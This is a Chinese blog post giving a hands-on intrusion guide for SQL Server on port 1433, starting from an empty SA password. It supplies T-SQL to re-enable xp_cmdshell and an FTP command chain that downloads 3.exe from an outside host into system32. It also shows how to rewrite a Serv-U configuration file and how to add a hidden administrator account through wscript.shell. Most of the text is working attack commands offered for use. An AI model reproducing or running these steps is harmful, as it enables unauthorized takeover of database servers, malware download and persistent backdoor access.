本站公告: 暂无公告....

SQLServer1433端口入侵之恢复CMDshell

网络安全 兰亭楼 0评论 717浏览
SQLServer是微软旗下的数据库,该数据库使用的端口默认是1433. 而SQLServer默认的用户名SA默认密码为空. 同时SA用户拥有CMD命令行权限意味着只要通过1433端口登入SQLServer就可以在命令行做任何事. 包括添加用户和开启远程桌面的3389端口. 但是有时候因为管理员做了安全设置导致SA用户虽然连接上但是不能执行CMD命令. 这时候我们需要用到下面的步骤来恢复CMDshell. 用到的工具为SQL查询分析器. ------------------------------------------------------------------------ 未能找到存储过程 'master..xp_cmdshell' 第一步 EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 未能找到存储过程 'sp_addextendedproc' 若不出现 直接执行 sp_addextendedproc 'xp_cmdshell','xpsql70.dll' EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 若出现 第一步执行: create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO 第二步执行 EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int —————————————————————— echo open sjdx.3322.org >>jtstealth.txt | echo sju >>jtstealth.txt | echo 137 >>jtstealth.txt | echo get 3.exe >>jtstealth.txt | echo bye >>jtstealth.txt | ftp -s:jtstealth.txt | del c:\windows\system32\jtstealth.txt | dir c:\windows\system32\3.exe | —————————————————————— 此时再在CMD里执行命令 xpsql.cpp: 错误 2 来自 CreateProcess 通过dbo.xp_subdirs列目录 寻找有用信息 若发现装有Srv-U 第一步执行 declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, '这里填ServU所在的路径\ServUDaemon.ini', 1 exec @ret = sp_oamethod @f, 'readline', @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end 第二步执行 declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Serv-U6.3\ServUDaemon.ini', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, 《这里添写自己写好的SU配置信息,刚才复制的那些都要写上去,在最后添加我们自己的》 下面给大家总结一下常用的恢复CMDSHELL的方法 常见情况恢复执行xp_cmdshell. 1 未能找到存储过程'master..xpcmdshell'. 恢复方法:查询分离器连接后, 第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 然后按F5键命令执行完毕 2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。) 恢复方法:查询分离器连接后, 第一步执行:sp_dropextendedproc "xp_cmdshell" 第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 然后按F5键命令执行完毕 3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。) 恢复方法:查询分离器连接后, 第一步执行:exec sp_dropextendedproc 'xp_cmdshell' 第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' 然后按F5键命令执行完毕 四.终极方法. 如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户: 查询分离器连接后, 2000servser系统: declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add' xp或2003server系统: declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add' ---------------------------------------------------------------

转载请注明: 兰亭楼 » SQLServer1433端口入侵之恢复CMDshell

发表我的评论 换个身份
取消评论

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址